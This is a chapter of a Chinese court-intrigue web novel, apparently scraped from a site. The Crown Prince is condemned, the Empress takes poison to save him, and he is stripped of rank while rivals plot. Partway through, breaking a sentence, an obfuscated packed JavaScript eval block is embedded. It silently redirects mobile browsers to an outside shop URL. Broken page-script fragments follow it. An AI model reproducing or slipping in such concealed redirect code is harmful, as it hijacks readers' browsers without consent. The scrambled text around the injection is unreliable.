太子被禁足,朝堂上太子势力惶惶不安,生怕下一刻皇帝怒火就落到自己头上。
皇帝坐在龙椅上,看着跪在地上的大臣,他们将头磕在地上,齐刷刷的喊着:“陛下息怒——”
声音很大,一时之间难以分辨哪个是真心,哪个是私心,索性他干脆将目光放在了三皇子身上,他的背后空无一人,因从小在冷宫长大,导致朝堂上并无他的追随者。
“太子一案,交给三皇子裴郁彻查。”
皇帝音落,大臣们纷纷震惊。
太子刺伤三皇子,二人本就有过节,这下皇帝是铁了心的要肃清太子党羽。
下了朝,大臣们各怀鬼胎,太子的一些党羽也开始捉摸如何让自己脱身。
不到一周,朝堂之上,竟有一半的人被打入大牢,其中就包括林丞相,虽然因证据不足,后来又放了出来,但因此,二人也结下了梁子。
这么一闹,原本深受皇帝信任的林丞相,也会遭受怀疑,自身难保。
经此一事,最高兴的莫过于二皇子和及其党羽,宛如沐浴春风,就连上朝也精神了很多。
裴郁查案如此顺利,这暗中难免不会有皇帝和二皇子的动作,至此,朝堂上二皇子一家独大。
事情尘埃落定,白绫和毒酒被张公公送到了太子府,“殿下,皇帝仁慈,特赐殿下全尸。”
“不可能!”裴行一脸疯癫模样,“我要去见父皇!我是被冤枉的!”
他拽着张公公的肩膀,想冲出太子府,却被门口的官兵拦住了,长刀交叉挡在裴行的脖子上,反射出一阵冷光,他身子顿时软了下去,瘫坐在地上。
张公公将白绫和毒酒放在裴行面前,行礼,“殿下,老奴告退。”
一行人乌泱泱的离开,身后传来裴行的无能呐喊。
皇后被禁足于长春宫,听到皇帝要赐死裴行,在宫中急得团团转,她看着宫外的侍卫,拽着他的胳膊,“本宫要见皇上!”
侍卫不敢怠慢,连忙去了御书房。
没过多久,张公公带来两个侍卫过来,他看了眼皇后,弯腰伸出右手,“娘娘,请。”
皇后提着裙摆,贴身宫女跟在她的身后,她站在御书房门口,整理好自己的仪态,等气息稳定后独自一人进去,宫女待在门口苦苦张望。
皇帝站在一个鸟笼旁,手里拿着鸟食在逗鸟。
“陛下。”皇后连忙跪下,“求陛下饶行儿一命!”
皇后声音听起来极其凄惨,反观皇帝依旧只是在逗鸟,等厌倦后,这才看向地上的人。
巨大的威压袭来,皇后背后顿时冒出阵阵冷汗,眼泪流在地上,思虑片刻,她咬牙做下一个重大决定,带着赴死的决然。
“妾身愿替太子受罚,请陛下息怒!”
这下,皇帝看了一眼皇后,“你可知,太子所受惩罚?”
“妾身愿用性命来换行儿活着!”
她声音钪锵有力,皇帝看她的目光变了,沉默片刻后,他对着张公公挥手。
张公公立马会意,端着一杯毒酒过来,“娘娘,请吧。”
皇后起身,她伸手捏起酒杯,酒很黑,倒影着她此刻的神色,她耳边带着点碎发,因为是跑过来的,头发稍显毛燥,眉眼中出现着淡淡的悲伤。
她仰头,将毒酒一饮而下,苦涩的味道在口腔中炸开,脸上出现痛苦之色。
“咣当——”
酒杯从她手中掉落,四分五裂,她吐出一口黑血,然后倒在地上,红色的凤衣犹如花一样绽放。
远远望去,美丽而又悲惨,动人心魄。
皇帝看着死掉的皇后,然后对着张公公冷冷说道,“拟圣旨。”
皇室无情,但皇后之死非同寻常,他心中还是颤动了一下,当然,也仅仅只有一下。
太子府的房梁上,挂着一条白绫,太子坐在椅子上,呆呆的看着被风吹动的白布,就在他准备认命时,张公公带着圣旨走过来了。
反正已是必死之人,他也没有行礼,静静的看着张公公进来,他听到张公公叹了一口气,将圣旨放在桌子上,语气带着哀伤。
“殿下,请节哀。”
裴行心中顿时感觉不妙,他猛地起身,然后就听到张公公继续说道,“殿下,皇后娘娘……”
他顿了顿,“娘娘喝下毒酒,陛下赦免了殿下的死罪。”
轰动!</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971083|214613||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
裴行听道这条消息,浑身上下顿时僵住,像是晴天霹雳似的,措不及防,他大吼着,“怎么可能!”
张公公没有回应他,继续说道,“殿下被贬为庶人,没有陛下允许,不得回京。”
张公公还记得当时陛下说的话,他说,既然裴行宁愿冒着欺君的风险也要离开京城,那就让他这一世,永远都不能踏入京城一步。
“殿……”张公公改口,“陛下说了,你的命是拿皇后娘娘换的,一定要好好珍惜,不然娘娘就白死了。”
音落,张公公身后的太监将房梁上的白绫拽下来,然后捡起地上的毒酒倒在地上。
裴行愣在原地,看着张公公一行人越走越远,突然吼了一声,声音极其凄惨。
“啊!!!”
他捂着胸口,像是被万箭穿心,哭的上气不接下气,仿佛下一刻就会窒息身亡。
“母后……”
他呢喃着,心中顿时后悔万分,昔人已逝,他就算想要弥补,也无济于事。
然而,他还没伤心多久,就有一群官兵闯了进来,将他的东西全部扔了出去,他慌忙起身,拦住其中一个官兵,瞪着双眼,“不想活了?敢扔孤的东西?”
没想到,那官兵竟将他推在,呸了一口,“这里是太子住的地方,你一个庶人,别玷污了太子府!”
裴行听着“庶人”二字,呆在原地,他看着官兵,一时之间难以接受自己身份的转变,其中有个心好的官兵在临走前,提醒着他,“天黑后,行人不得在外逗留,殿……你尽快在天黑前找到住所。”音落,这个官兵也匆匆离开。
至于裴郁这边,反而是岁月静好。
他去了自己的私宅,将这些事情一五一十的告诉了景熙。
景熙看着桌子上摆放着精致的糕点,这是裴郁从皇宫里带出来的,她夹起一块,甚是美味,不知不觉竟吃光干净了。
“现在就剩下二皇子了。”裴郁笑道。
景熙却摇头,“不,还有镇国大将军。”
“如果我没猜错的话,他也盯上了皇位。”
上一世她是大将军的女儿,后被污蔑通敌叛国,想来不是空穴来风。